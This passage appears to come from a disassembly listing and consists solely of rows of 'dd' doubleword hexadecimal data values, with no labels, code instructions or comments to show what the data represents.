		dd 341CC82Ch, 0EA91D57Ah, 8FE936DDh, 2D0C0D52h,	0DEA77A69h
		dd 5ADE5244h, 47A7F64Ah, 32EA97AEh, 83FC4F31h, 8708A8CDh
		dd 681286FAh, 28FF7FD4h, 4A4AA134h, 0B41160A3h,	2B7CB1FAh
		dd 54A62808h, 0CF865652h, 8D8475B1h, 2C3EA08Bh,	25F9CEBh
		dd 86258DDCh, 12FF6423h, 0AB30EF5Eh, 0E139B1E8h, 741C317Eh
		dd 243200Fh, 0C8388297h, 273F2481h, 1717B4B6h, 0BE26EDE8h
		dd 8259D73h, 0A868532Bh, 289ADDADh, 0A457F1DDh,	5727320Dh
		dd 0D60AA75Fh, 0B0170B5h, 4D44ACA3h, 501B21C3h,	3488A091h
		dd 1946B062h, 0ABA80C18h, 2DA4BB1Ah, 364BE80Fh,	0C3ECCC5Bh
		dd 1411908Eh, 4ACA3C35h, 33BB98CCh, 574034A0h, 7984F27Bh
		dd 6FBF7FD6h, 0ECC51F3Ch, 0E00E1780h, 0B8F601DEh, 188E54A2h
		dd 65E80742h, 5EBEDA3h,	9C0425BFh, 8328429Fh, 34E11D3Dh
		dd 1BBC579Eh, 4FC86444h, 62804890h, 3B493FB1h, 0A233718Ch
		dd 0FE441049h, 8E738604h, 0CE45089h, 5D586D68h,	0A12CDD20h
		dd 6C32400Fh, 0E21BE40Fh, 2126E16Ah, 0F325CC16h, 54F820C4h
		dd 1E5BB438h, 0D46813EBh, 0E2A12D7Fh, 4A330847h, 3831A1F6h
		dd 5F164208h, 0F36830CCh, 11FF640Ch, 81D29A8h, 0E04AD335h
		dd 311130A3h, 0FFA4B443h, 14243864h, 9A60B68h, 6EFE5553h
		dd 2F714808h, 0E29DEBC4h, 0BCC255B2h, 0A4441F61h, 0E8436123h
		dd 0F352D68Dh, 417648A7h, 12348FA9h, 18BB59BEh,	5241A540h
		dd 2E2E82BEh, 8D1D5128h, 891C0D4Ch, 5051D010h, 509230AEh
		dd 1C377E60h, 0CB04E8C1h, 54091835h, 0DDE3350Fh, 0DCFF3B59h
		dd 72001056h, 7B836664h, 6C750508h, 15ADA850h, 292EE191h
		dd 73B44237h, 0E244E9E1h, 8B253D40h, 24686047h,	37088208h
		dd 878D127Dh, 0FA721857h, 89598163h, 5747490Eh,	44EB99ECh
		dd 2869B98Bh, 0CDC642A8h, 0D6FCC383h, 9B1180Eh,	337B9C76h
		dd 2227B4ADh, 495B5D4Dh, 0FD57C3ACh, 7C5D1E5Eh,	760A205Ch
		dd 0C74C595Dh, 9816410h, 6B5CAA1Ch, 0E135E834h,	846D0110h
		dd 447246DCh, 4C819741h, 428C721Bh, 8B0782C1h, 8EE69343h
		dd 881852FBh, 20083B30h, 9DADAD72h, 0DF19DE37h,	84F7546Ah
		dd 0E2EF74CAh, 648C501Ch, 7DB56295h, 0F07989D2h, 0A793D69Dh
		dd 99F5E47Fh, 0A455A74Dh, 0AC567B27h, 177B4822h, 10A53089h
		dd 33543E97h, 6224A021h, 0B2CAB9F8h, 0F8B670DAh, 1996F11Dh
		dd 4D055B51h, 0F0CA02DDh, 59E47FFDh, 0C24AF0B5h, 1EE9F6A1h
		dd 6AF0922Dh, 0F7F6971Ch, 9918708Bh, 0E67E4C75h, 35F02C81h
		dd 7FD04D42h, 231631F2h, 0CEB3BC8h, 0F625DEE6h,	1D54519h
		dd 5A16D414h, 0A4F3CC48h, 0EA2C1CFBh, 526D343h,	3257F4B5h
		dd 4684D34Ah, 5C1353AAh, 6E87120h, 921D93F4h, 32651317h
		dd 79C4682Dh, 0F3EFE816h, 30105C73h, 0F4E2CC84h, 0C1730347h
		dd 73F83B1Fh, 25C8EBC9h, 22AB6E2Fh, 0D448776h, 2DBC5BBFh
		dd 0A8DF756Ah, 622D19C2h, 0B91213F1h, 587B878Ah, 0D10C7CDFh
		dd 0E083E805h, 0A30A897Fh, 6CA411B7h, 0C4A30804h, 0B0893FC5h
		dd 0D7D5126Bh, 1840A208h, 8D55005Fh, 0C5343884h, 6C7813Fh
		dd 45BCA306h, 0C03D8916h, 229AF564h, 0EEF04B7Eh, 0E95F1773h
		dd 0DC2E5BC6h, 51964C70h, 0A5A72A22h, 0CEE46AACh, 0BFA21325h
		dd 0B4D2B75Fh, 5D8BA170h, 0C026C2BCh, 22FFD83Bh, 82A48395h
		dd 7C483D21h, 94D844EEh, 887F079h, 74407491h, 0B0558B78h
		dd 0E44D243Eh, 80896773h, 3BD023FCh, 6A4875E4h,	1ED1D72h
		dd 26516489h, 42A3D76Ch, 70F02444h, 0A4658343h,	56297DADh
		dd 24C63F42h, 76696B28h, 2CF212F2h, 0F3B9866Ch,	8AF6B29h
		dd 746217D2h, 1DC3DF30h, 12E8A047h, 60E106EBh, 73036424h
		dd 0A13B735Dh, 0C77F82A4h, 515C29BBh, 1EB15552h, 0D277CA81h
		dd 68650A6h, 4889FE33h,	0A389341Dh, 70383311h, 48E805E3h
		dd 9C74013Bh, 576D4041h, 59F86985h, 2B897BFFh, 5825908Ah
		dd 514FA7D7h, 39A5A114h, 570C6167h, 44980C8Dh, 4FE46BE1h
		dd 1308D2FAh, 0FD52BAA8h, 0E1624D64h, 922C880Dh, 0FF51C940h
		dd 0D066A235h, 0FD2FEB90h, 0A01D9F6Bh, 56D712E8h, 1AA1E755h
		dd 1A11B0BFh, 7DE61BF8h, 821425FBh, 0E8579130h,	6984AE7Ah
		dd 0FCBE511Ch, 1853CDAEh, 0FD25198h, 47EA2293h,	0AF1529E8h
		dd 72A89723h, 0EC95F454h, 0BF66BB50h, 0EABE5EA1h, 4089F9F8h
		dd 0A95AA303h, 0E8ECD030h, 0AB4C57CBh, 0A6C6BF7Ah, 261BA882h
		dd 0A4F08226h, 65BEEC97h, 76880512h, 8188BB38h,	118A024Fh
		dd 5588D284h, 8015EE60h, 75327963h, 20FAB10Fh, 0DF49F871h
		dd 2AFF7DFCh, 710A767Eh, 0C030F541h, 7206C539h,	1D324DCEh
		dd 53F20CCFh, 0F025EEA5h
		dd 42C421A4h, 18EB1C05h, 8C641A28h, 1831AA43h, 6181F486h
		dd 0F709DB9Fh, 1A46860Fh, 19C255E4h, 4045E216h,	3B7BE521h
		dd 3E64842Fh, 8DFAE53Fh, 0FBF37FDBh, 0E2222725h, 454BCCBEh
		dd 0FC7E83B0h, 187611B0h, 1376FCC4h, 2D1B75ADh,	925A3538h
		dd 81C269BDh, 9A4B10C6h, 5E5DFEB2h, 90D49A16h, 4AF6F175h
		dd 0E8BE13E4h, 0A2E79DE4h, 7C490BF3h, 0A8E04413h, 6AE405A1h
		dd 0F905B07h, 0E148F8E8h, 0A732AB3Bh, 0EE38C14Bh, 2FE4FD60h
		dd 8074FF33h, 0F73B0C85h, 0E9BEE4ABh, 0C9F5995Ch, 0A9F1DFE0h
		dd 0B2894713h, 0FCBBD304h, 8E780873h, 0BF4E1343h, 2F1608E2h
		dd 11627248h, 149DE3DDh, 111EE831h, 0F95B75C4h,	0FBE0857Eh
		dd 2685F6ECh, 180D663Dh, 6C02672Dh, 680F895Bh, 1B7040C7h
		dd 0F52D84FDh, 0D1DF4C3Fh, 5A7F371Eh, 7FCFA337h, 49CA7BBFh
		dd 0B858C374h, 0B4405A08h, 0EFA442A7h, 57B840FDh, 104AF669h
		dd 0BD328BCh, 5410D4BBh, 0DC7C8BEh, 48C5B6FFh, 95145488h
		dd 0DB33C520h, 0A90C73Bh, 935B8648h, 13FFB04h, 119CB7AEh
		dd 55FDFF8h, 663C7DA1h,	0BE21180Eh, 88BF9001h, 22CFC4B2h
		dd 612829A6h, 6822680Fh, 0EF0F6C35h, 5E846880h,	26E0458Eh
		dd 41BEB63Fh, 70BB9314h, 234381E9h, 0A4B6CF40h,	57D28C85h
		dd 0FD122357h, 2802343Bh, 868CEC11h, 37575710h,	44954C22h
		dd 7C7E24F0h, 420B2F10h, 8AC98348h, 27058428h, 0BA0D3C3Dh
		dd 0AC0A3F1Ch, 8040018h, 7A1F0FA0h, 0B55E8758h,	0FD107A86h
		dd 3AEB84A4h, 8A71F8AAh, 0E24B4B33h, 0F5160806h, 60F87752h
		dd 7714C2A4h, 91135725h, 2F682384h, 74C70FD0h, 94DE40FCh
		dd 9375056Dh, 49FA57E9h, 63119E89h, 0BB4A558Bh,	0F6ABF684h
		dd 59EC4EB0h, 2A0DC9A5h, 62D63924h, 7EFC1982h, 40B8EE67h
		dd 74183933h, 0AE050D24h, 0E83D4741h, 0EF00BD32h, 7431FF83h
		dd 0F74D8B4Ah, 56C656AFh, 0BFA62C3h, 2A655944h,	0EFC7A4B5h
		dd 0C73D1328h, 55624151h, 5115024h, 0AA78BA68h,	0F192EDB2h
		dd 15D7A5Eh, 9956109Fh,	2740DB38h, 66D7146Ah, 3AA02996h
		dd 0EA1CBCC8h, 46952C3Dh, 0DC4806DBh, 0C8762612h, 0C4258F97h
		dd 19670FEBh, 0FD37CF4Dh, 6A0B8BCAh, 81ADF466h,	0B89534FFh
		dd 90F03585h, 0B188B632h, 0C0B99986h, 5A1B84F5h, 8FD0ED82h
		dd 9A451067h, 5AA1A4EBh, 34891C88h, 0F1098B96h,	18C1F013h
		dd 0D5C62B58h, 72A978E8h, 103807ECh, 0A51D88F0h, 6015435Ch
		dd 4DDAC418h, 0E822EDF8h, 8DA402E8h, 0BF26FE76h, 7E8C44B4h
		dd 0B5031413h, 1FBD8C0h, 7F097425h, 45BAB9A4h, 4E2C2AE8h
		dd 0CF2084E0h, 8590804Bh, 0C008E5B8h, 8242D780h, 7E5ED077h
		dd 0A25C74D3h, 0C736C09Fh, 4BB99743h, 432EB66Ah, 7BB54524h
		dd 0DCC519A8h, 4E4E4D3Ch, 5FDDF9Fh, 71C9DE55h, 264B788Ah
		dd 61353317h, 65171B33h, 0DFD953ECh, 0DD72606Dh, 0A4F07198h
		dd 0CF863C52h, 0C832D44Dh, 808A8A46h, 38842BAh,	0D4B2E4D5h
		dd 76CF21D8h, 9A25D932h, 88976A19h, 0A9729F1Eh,	596B8426h
		dd 4131DCFBh, 214FFB92h, 43BE3C02h, 0EA7A4FFh, 20203076h
		dd 0A431FE01h, 468D1473h, 639EAD03h, 2A4ACB62h,	91282B2Dh
		dd 70B35FF1h, 0C1FA507Fh, 32F48037h, 8F09E8Fh, 0F4733BE3h
		dd 0E4A8571h, 0D41CEB1Fh, 0DA123C0h, 652042D8h,	2A41B120h
		dd 0FC885BC8h, 5B461572h, 50D448BBh, 26A59ADEh,	3F8AD090h
		dd 0E17DEB8Ch, 87426A90h, 0FAC4555Bh, 39EF859Dh, 5C6C8808h
		dd 0FDF15B42h, 28500B49h, 1EEB0AD4h, 548A36E8h,	658E49F4h
		dd 5146404Ch, 0E6618C86h, 7A8D0F06h, 58047FCh, 3E8137Dh
		dd 0E6753B4Dh, 803AEE8Dh, 15A4086Ah, 43AF9B92h,	49A7889Ah
		dd 0C9F41A24h, 113AA53Ah, 6EE814C8h, 0EB30096Dh, 220E911Dh
		dd 0AF3AAAF8h, 0B44F918Ch, 0F47D8943h, 0E87A9802h, 0DE3A4C82h
		dd 494D24B8h, 0CA5C8F54h, 9F16564h, 2146090Dh, 211E0B4Ah
		dd 48EB0AC0h, 39234239h, 427D1E61h, 209626CAh, 0CB22B842h
		dd 0D55F3E86h, 444AA6F3h, 0AB370DFAh, 118A7F75h, 3B56562Fh
		dd 0BDDD6369h, 0C67757D7h, 75397670h, 0B471F810h, 6C2E3DCEh
		dd 50E8064Fh, 0D84C63E5h, 74DB3F74h, 6175CA9Dh,	0AD2E391Eh
		dd 2B41C2BAh, 539360C7h, 36BA27E8h, 0E9101A25h,	24800CFFh
		dd 0E99AF230h, 1048237Bh, 42903410h, 88600C96h,	0C6310325h
		dd 3F5F2250h, 484BA906h, 0E3300822h, 3E2417DDh,	0C61C2131h
		dd 2E943B5Bh, 0D2A69213h, 4F07D018h, 7A26856h, 4BC07E75h
		dd 35F3AD10h, 0D0A9F3D6h, 0F3303A13h, 280126C5h, 7C7DC30Bh
		dd 0B07345E3h, 28A2B594h, 8A4E68F5h, 80310314h,	5740AFAh
		dd 750D0A0Ah, 0C0309104h, 6C83B41h, 0D233EA7Ch,	2A5F3B57h
		dd 264FCF86h, 2C753C80h, 7C2F3BDCh, 4CB506FDh, 0E740B0Ah
		dd 0A0D5FB81h, 890B7D48h, 434F0Fh, 0D03B4201h, 0F9F1DC7Ch
		dd 745FC00Ch, 43801756h, 71454B8Bh, 4DA2EDE8h, 92EDA278h
		dd 4FDCF83Eh, 14A82108h, 14045B9h, 8DABF345h, 20854778h
		dd 8B531F7Ch, 103BDF60h, 0A106048Ah, 3C212B9h, 4CFB4659h
		dd 1C8918F8h, 3B4B8101h, 5BE57EF7h, 0F04D993Ch,	3A042418h
		dd 3C8056D9h, 7C591D61h, 7F7A460Bh, 0C0022807h,	0C360E883h
		dd 26667F33h, 40100C38h, 0BCD7928Dh, 42646F71h,	284E8D2Fh
		dd 376B7B6Ch, 8951DC17h, 0B2D1EFF4h, 733F2B37h,	77A89416h
		dd 0FE8B4EC2h, 7A7E9D40h, 9ED0CC92h, 0C577377Fh, 0F496D8D4h
		dd 6807401Fh, 84995F97h, 0ACDCEE74h, 1F40A020h,	0F71DF72h
		dd 84EAF455h, 128DA84Fh, 7CE2BCAh, 81027E32h, 0E0F803C1h
		dd 2CE4FC7Dh, 488D95CDh, 842A4D08h, 7019D06Ch, 0F3555C89h
		dd 0CC4D1B28h, 0C1524D64h, 4FB07502h, 8E86EB4Eh, 0D7058CBBh
		dd 0FEC75A03h, 0B701022Ch, 148CE591h, 0D4C204A1h, 0E686590h
		dd 0EBD25016h, 0AD6CF3C9h, 46C41220h, 1F107158h, 80088A80h
		dd 7F301FF9h, 75090A05h, 88405B03h, 8D7148FDh, 0D01419A3h
		dd 81D0C72h, 5EB742Eh, 20E67C21h, 0BE50562Fh, 1BADEC2Fh
		dd 3A8FD2FCh, 37B22840h, 6E7EB784h, 4EB496Bh, 2AC9876Ch
		dd 249A8056h, 298F0A19h, 491C2D3Fh, 0F5AD6092h,	5CEA2657h
		dd 880CCA13h, 0ABC3221Dh, 5508248Ah, 1AD9287Eh,	0B01954BFh
		dd 401587A2h, 3BE81B80h, 644E74EEh, 8CAC6B12h, 6046A86h
		dd 43DBA8B7h, 0B7838934h, 860F831Fh, 653AF155h,	47C121Ah
		dd 5C362DE6h, 68015070h, 55F2A9C8h, 249CD3Bh, 961CC90Fh
		dd 716408B3h, 3AA25712h, 1C147893h, 0D7B6015Ah,	42E4F340h
		dd 27BE5AFEh, 51646508h, 0F02BC2F1h, 0BF730BDCh, 0BCD8EF92h
		dd 6C82034Ah, 6148ADECh, 27AACB2Eh, 0B2915DD6h,	5A9E7C4Ch
		dd 0F0CF33BAh, 7445F3C6h, 0A31DB320h, 6AD3E979h, 0A7F6EC3h
		dd 0FF5402EBh, 323E6CEDh, 369C1660h, 0F370E9CAh, 0A83E604Dh
		dd 7468C58Fh, 0EE88A42h, 0E3EA9313h, 35048605h,	0B1B3066Ah
		dd 24AA2BDFh, 64C6610Bh, 0B4BF0507h, 51E39087h,	6F0F74EBh
		dd 758424F8h, 84AE8107h, 59C49D8Ch, 482F3D8Bh, 8AF89C7Ah
		dd 55951D46h, 121B1692h, 0FDA00E10h, 0D1E4681Ah, 34DA8A40h
		dd 14C808B6h, 0A5715925h, 56EB6B59h, 860F8BEFh,	22A19ADCh
		dd 8F445014h, 233D9568h, 44D8A59Dh, 28C51986h, 0BA512BE3h
		dd 5657890Eh, 528D6AD7h, 0F6D9CCF7h, 1393BF31h,	10FEA8E2h
		dd 49E86247h, 0F97DD587h, 8411D1D7h, 57FFFEA4h,	0B4E40BBFh
		dd 0BB524B7Dh, 0B52D70D4h
		dd 8C2228CBh, 0BF504B9Ch, 29A40862h, 62A5C65Fh,	1274DA83h
		dd 1BDD1292h, 942E2946h, 0F1BB4824h, 5FE20C88h,	9C2E6233h
		dd 0A1CC51DDh, 786EB1B0h, 20A37E71h, 9EA68CBh, 2734948Fh
		dd 0FD5EAD90h, 8AFA9626h, 1ED34A01h, 0B9A85B33h, 60EA5B13h
		dd 3091E808h, 10A05393h, 5311D4B7h, 70C8BB10h, 0E562BF5Bh
		dd 445AFD55h, 0B42A1464h, 2F57DC93h, 2CC6C43Bh,	68312F60h
		dd 0A2439048h, 15BDF150h, 0AE49AA38h, 0BD4D9F7Dh, 30150E88h
		dd 38EB20CAh, 0BD8E53BFh, 0CBCA67EFh, 0F0AA4F28h, 32FE62E4h
		dd 0D4083A97h, 5F1C4214h, 25C0C3B9h, 0DDAB1A74h, 75041662h
		dd 60D8FA2Dh, 5B4FB20Dh, 7B83A239h, 167E1968h, 9550A47h
		dd 3498B6BEh, 72A93F05h, 0D37C680Bh, 5EB54EDFh,	0B55BAF0h
		dd 2DBC2238h, 0AC5F326Ah, 0BD40DE7Ch, 520C2E10h, 0A5265683h
		dd 1416F25Bh, 8F1151FBh, 86B2F508h, 8423EAE8h, 0C118C80Fh
		dd 0C7BED192h, 9C7DFB84h, 974B86E2h, 17D488A8h,	0F137533Ch
		dd 9B3C2EEEh, 0ED564E51h, 3243C450h, 0D479A5Dh,	0D4B5FE50h
		dd 0DB0C8D47h, 78AC390Ch, 9C4DDA3Dh, 77180DDCh,	92DEE84Ch
		dd 0F02B2EEFh, 0D6FA6BEBh, 10449594h, 4A0642F8h, 0C840348Dh
		dd 2E6C118h, 9270B6D3h,	55E7A96Ah, 50FF12C2h, 0C8FCB0E6h
		dd 7BA46C2Ah, 0BE0A9118h, 493BF9B0h, 0D698823Ch, 2D64EB10h
		dd 0B052CE52h, 5460685Ch, 8DE0EB3Dh, 23405504h,	293E56Bh
		dd 5E2C3034h, 0C4B8653h, 5EE33BD5h, 0EA531C12h,	823FCD83h
		dd 1285F90Fh, 848BFD28h, 2B60A75h, 0E6EBD81Eh, 79FE2D9Dh
		dd 0A3CA2925h, 8B5105Eh, 0F33BF041h, 9F3D4D79h,	7401F806h
		dd 3750A2Bh, 377E1718h,	4F7F060Eh, 94BEE832h, 7C155459h
		dd 16EB65C4h, 1FBB84D9h, 66495FC2h, 88869A80h, 27CC4822h
		dd 4857892Ch, 0FA975E07h, 4B1CACC0h, 3B0ED0B9h,	874F0FC1h
		dd 0E3BF8D95h, 0FB607E94h, 745A7722h, 0C88B3D4Eh, 3DEAE9B1h
		dd 0CE63C649h, 18220633h, 613E351h, 850F240Ah, 68164BEFh
		dd 0CAF09610h, 0E40AA0D7h, 8CD8995h, 0C34284CCh, 0B9109821h
		dd 0AF446C88h, 0A5111822h, 8178B016h, 74EF1C63h, 1BAE3325h
		dd 0A6B61106h, 0A1709C42h, 82148421h, 6449946Dh, 4374DD7Dh
		dd 24F27607h, 0F4F86F11h, 0B9E98B93h, 77B14C5Bh, 58746D02h
		dd 0F7DE888Dh, 11F976C8h, 0F0E60FAh, 4E4989B6h,	24861F41h
		dd 820F218Dh, 3D2B0689h, 36078180h, 7029C21h, 7B2882Fh
		dd 0E888281Fh, 90219F92h, 0C81A8F8Ch, 0E4134760h, 0F10C2304h
		dd 51391E0h, 8529C0F2h,	91A8AF7Dh, 712F8211h, 990A42D3h
		dd 6EE4149Ch, 0B828E555h, 0CBC3190Dh, 91D2DE88h, 0EE22E709h
		dd 89C4B644h, 24E012D9h, 0A81B52BDh, 1098008h, 0EA037402h
		dd 506C604h, 7650806h, 0B78C0806h, 0AE034B8Ch, 2499F164h
		dd 99E3C42Bh, 45148927h, 0F07275F4h, 3CF2965Eh,	0D2D0E28Fh
		dd 0A37E738Dh, 19AC5AE2h, 0D43368CEh, 30A6A03Fh, 9963139Fh
		dd 0F83B4CB5h, 84EAE37Eh, 0D27B423h, 0F6035A33h, 17A0618Eh
		dd 0AF78B58Dh, 64FFC73h, 6437448h, 812F3940h, 41B0225h
		dd 4070911h, 328C96BFh,	800CEF8Ch, 0FD740CFDh, 33F4FF0Dh
		dd 5033F45Ch, 0F44433F4h, 126EB3FAh, 0ECB22E51h, 53BE97Ah
		dd 27FC7684h, 389B58A1h, 3538223Fh, 26B58296h, 0A29CA9Bh
		dd 47288ED8h, 0A024C685h, 8C350F62h, 0A4FE3D66h, 2AF312CCh
		dd 0B4487FF6h, 3BFDC292h, 5B5EF682h, 0AAB63E72h, 0D5610C51h
		dd 8A8AB420h, 75620DCAh, 0EF02AF57h, 0F05D4948h, 48AEF4ACh
		dd 4DC1B901h, 70107D83h, 6A0239F1h, 0E1E85724h,	0C7D45634h
		dd 58AAEF2Bh, 981098Dh,	43EE164h, 0ACBE8B76h, 21C81CB2h
		dd 8B089714h, 0EB854F2Dh, 4EA75052h, 0A65AB438h, 0C6537F63h
		dd 426C8832h, 591196F8h, 2029600Dh, 1F8AB0B2h, 543121CAh
		dd 372252D4h, 271CC61Ah, 0F629C35Dh, 750B4F74h,	53544804h
		dd 9EC8BD55h, 7C4F3D8Bh, 0FF6A4242h, 32EB71BBh,	80F5283Ch
		dd 5F6D7ADh, 9AB460ACh,	75E88B01h, 0D801615h, 0FA5D510Bh
		dd 4429BE82h, 614CA323h, 0FF5572D1h, 72094635h,	0A150348Ch
		dd 5D2E5F0Fh, 20E5845Bh, 5C3830E2h, 7A7F5843h, 1115526Ah
		dd 0A41B8912h, 33CBE91Fh, 0A893AF7Ch, 9C7F2232h, 6583899Dh
		dd 4D82470Eh, 0E2D4FFF0h, 80292599h, 0E8E45484h, 5E26A31Eh
		dd 0FC2F12F2h, 0EE6A06F4h, 0A4026A8Bh, 88522851h, 0D0A26C86h
		dd 0A3BCE05h, 25DF02A9h, 8096ABD6h, 5E50BF93h, 1698248h
		dd 0F8056BD2h, 23F448Dh, 436FBA04h, 57910556h, 0A5195653h
		dd 6EEC6A88h, 0F856129Dh, 0DBB58E60h, 0AB124A03h, 5FAA0E83h
		dd 0B5099415h, 0CB2DC3AFh, 4E94555Eh, 144104BCh, 45A888E8h
		dd 0FF2A9A49h, 4E9255D2h, 0BB3F2D7h, 978868F0h,	0AE213416h
		dd 3D582F0Dh, 0AB63F05Ah, 0FC093414h, 0BFD0C4F6h, 5D232EA1h
		dd 90807822h, 0E9B8DE3Bh, 2CFB812Ch, 7435094Fh,	763091Ah
		dd 0B02A965Dh, 84A1D724h, 2F12F13Ah, 87B66A94h,	84614DCAh
		dd 0FC6DEB24h, 7D390157h, 8B5C7214h, 708DBE8Ah,	0E076178Dh
		dd 0B5221CEAh, 5CB8344Ch, 8FA8AF7Fh, 69528D68h,	85041C91h
		dd 4068EC06h, 0B41D5A48h, 0F25B7C7Eh, 0B02C08EDh, 621B9817h
		dd 0AC76B43Bh, 8279EA8Bh, 0ACB6C40Dh, 0FB20AA19h, 3512BF24h
		dd 530FBC09h, 0E9F2948Eh, 61EB9787h, 96DF3B13h,	1A28923Eh
		dd 74C7122Bh, 7C14FD26h, 81E13B4Ah, 0A0D22E28h,	14D1579h
		dd 19228DE6h, 308C85F7h, 31394117h, 0AF592A44h,	0F5367B26h
		dd 5203EB16h, 26A7FC30h, 5382FA20h, 1CB4B0BEh, 8981821h
		dd 48C52A5Fh, 62DC905h,	281C549Dh, 0E8218468h, 0CB371097h
		dd 0B0223014h, 0C0958DB4h, 0A6152122h, 0CE7BA522h, 244CF2BEh
		dd 0C031926Fh, 0BCDBFD9Ch, 274C9262h, 0EDDCF7A1h, 0AFEC3B87h
		dd 0F1CC5292h, 53256E35h, 23E44816h, 59EBB758h,	19DC083Ah
		dd 0E8385750h, 5B18A92Ah, 9B0C41F4h, 0C26A24ABh, 7B16FD4Bh
		dd 68918440h, 59B4FC08h, 0B1E62B04h, 1E23C85Ah,	58C87EA6h
		dd 0A606814h, 5320B6Ah,	0ED4CB68Ch, 6D889DF1h, 0F9FC4503h
		dd 179D34EBh, 30160BABh, 21C2C675h, 350D99D0h, 7D454129h
		dd 4214B782h, 21B156A4h, 0F456121Ch, 0B4A0735h,	8796E5E8h
		dd 0C70820Ah, 0CC03499h, 2B1E8A01h, 0C40ADC21h,	18AC7208h
		dd 908F28D6h, 3904F2B1h, 85AB0CA0h, 0D82D8644h,	48941040h
		dd 0B80A3825h, 137E44D0h, 994490EEh, 0A288FC0Ch, 80CB4107h
		dd 51241AFAh, 155A326Ch, 0B27C3514h, 0C5C3914h,	0A45852Fh
		dd 8E1C2B2Ch, 4214843h,	8709DF50h, 3821C739h, 0F927D988h
		dd 18230FB4h, 0AEC82490h, 0C8894354h, 320CE42Ch, 5E101583h
		dd 0F43830F2h, 58428498h, 471E33A2h, 90E42124h,	8708A82Dh
		dd 0D4C82891h, 102A0264h, 34E208DDh, 0D70CC039h, 0B2C82647h
		dd 0AC1C3C79h, 880AED86h, 1C387987h, 81438698h,	20145629h
		dd 0C85C432Bh, 3284E44Ch, 4356BC56h, 0EF40C831h, 2B2BCA30h
		dd 230F06F1h, 0DC5C9044h, 7DB5021h, 5F331095h, 2CEB265Bh
		dd 51385184h, 3E25D62Ah, 0F8D232ACh, 62F9D221h,	30EC1092h
		dd 0AB44AB92h, 42A20974h, 0DC855796h, 519618FEh, 145FA56Bh
		dd 321A6EADh, 3D7CD5F9h, 25511325h, 54A2E825h, 100C9A4Ch
		dd 0C29B94F8h, 57590757h, 0ACF4D0CFh, 4BFF4A79h, 35C9427h
		dd 3C74F4C0h, 6555963Dh, 0EA10450h, 7955B301h, 9A282184h
		dd 6F252208h, 6F8E111h
		dd 2BB87B18h, 0B983FC4Bh, 0B785E684h, 0C8D2588h, 741E6976h
		dd 3753FFE6h, 89202144h, 223224DEh, 0B3434536h,	7EC7F840h
		dd 0F8450004h, 145D3B43h, 0EB29C372h, 0F488392Ah, 50A54499h
		dd 867BA87Dh, 747B1C54h, 2F570C24h, 8C25FC9h, 0F4956157h
		dd 4C8772Ch, 3A073BB2h,	589E885Dh, 4D32DC64h, 0CB23901Dh
		dd 0FA8FD820h, 0EBB096F4h, 582382C4h, 0C8A11008h, 7BF84094h
		dd 74335B77h, 0AB050E4Fh, 80A3D40h, 327F3120h, 0FE352240h
		dd 0F578013h, 49C68530h, 0C59D1C68h, 8DDE9D8h, 0D344040Ah
		dd 129CDC21h, 8C811C9h,	0B84284BFh, 0A010B521h,	0E1ACAB88h
		dd 28747C01h, 0E438C82Dh, 0E51A5C77h, 75850D39h, 8886878h
		dd 28BD8F1Ch, 85420A64h, 0EB2E4022h, 720367Eh, 0F022777Eh
		dd 0B970149Bh, 0C1DFAEC5h, 2D277430h, 9917BBADh, 15844852h
		dd 0E0B0698h, 0C4D03275h, 0A84C3B24h, 457E077Ch, 3E286042h
		dd 3707809Fh, 2ECA502Dh, 17F6CE2Bh, 250A1FACh, 29D2CAABh
		dd 9AFE6AF0h, 0AF441A89h, 0C813070Fh, 0E40C47B4h, 0C3052290h
		dd 5A0F7C2Ch, 0E8CC0250h, 3A6922FBh, 0D517A7B8h, 718A430h
		dd 13E25E82h, 8F8CFF02h, 0B4109DE8h, 0EEB54283h, 9DBE72C5h
		dd 0F89792D1h, 0BA97F5ADh, 1009D1C9h, 0E8E4442Fh, 465323FCh
		dd 2A213C61h, 9AE11092h, 2508120Dh, 0B2D49D6Ah,	0CCBE4444h
		dd 0BE771442h, 3083B051h, 0AE9C9D99h, 0E4226789h, 8D293832h
		dd 0EF5130D0h, 94BE13E2h, 59C92865h, 680A295Fh,	3D912A30h
		dd 8B14B861h, 68DD2BC6h, 27C0FAEEh, 0B9D7286Ah,	5F481850h
		dd 0A83ED602h, 0F9EC926Dh, 0B5C6B493h, 31294C86h, 0D27B0C2Dh
		dd 4D830680h, 95EB02F8h, 56FD07E8h, 87273BE3h, 0A0D3197Bh
		dd 0A28B2E09h, 29506B46h, 0F4E69D54h, 56496A2Dh, 64FF4B52h
		dd 0BD8D1203h, 4922FBD4h, 0ABF320D0h, 0B3D888B9h, 84FCB026h
		dd 9084AC76h, 0DDBF6B86h, 0C82864FFh, 4862B318h, 13A711B5h
		dd 32EBA46Ah, 0A0D9319Bh, 0FD9531Fh, 0CB7B54E8h, 4AC876D7h
		dd 455EAD75h, 64DC765h,	503B2128h, 0AF4F4F44h, 23E4D424h
		dd 8126AE4Ah, 0BC2A481Ch, 2D34CC14h, 0C73D778Bh, 0E7FFBB49h
		dd 82B30A1Fh, 60741845h, 88FCFF82h, 5D724B42h, 0FE30FF2Dh
		dd 8415E2C2h, 12E7985Dh, 42CCB83h, 0B80C9B0Bh, 0DD177243h
		dd 0E891D9E9h, 47A7D8B5h, 0D74FD8F2h, 0AEFC9B4Dh, 6A95492Bh
		dd 49F06B11h, 7CB2CD7Eh, 0D69E980Fh, 15A86CE9h,	779514CAh
		dd 28D6F49Ah, 4396840Ah, 0DC580851h, 1C7D3883h,	29CF9168h
		dd 57241320h, 821CAA76h, 0D8F0487Eh, 82B4F442h,	8E252F12h
		dd 0CC9F040Eh, 0C51012FDh, 0D8AD9112h, 80FAAC0Eh, 9F5C3468h
		dd 202E841Fh, 1490B4F9h, 23634D51h, 0AAD017D2h,	54635532h
		dd 3D144FF9h, 27E7E8C2h, 3348B157h, 71593027h, 0DADC3252h
		dd 0DD8825D9h, 53D60913h, 0FD989930h, 8CC9584h,	49B30CA7h
		dd 184D648Bh, 18088A57h, 0D6160575h, 0E4D54BEBh, 66B5D299h
		dd 0F7DC82B9h, 8EB8A5Bh, 0F38BB71Ch, 8CC7DDA5h,	482D927h
		dd 0BA1F65E8h, 8CF8AD98h, 4FED2CD7h, 0A9B3EEA5h, 0D5012B14h
		dd 48F032D9h, 7BE35618h, 58B1C6B8h, 0B1A76BFDh,	64110B58h
		dd 34F64C9Fh, 62720E40h, 235F2803h, 0C2CB7160h,	0F633301Ah
		dd 0EC25A1B7h, 9D1A54E0h, 0F72DDDEDh, 0EF4138ABh, 60126F0Ch
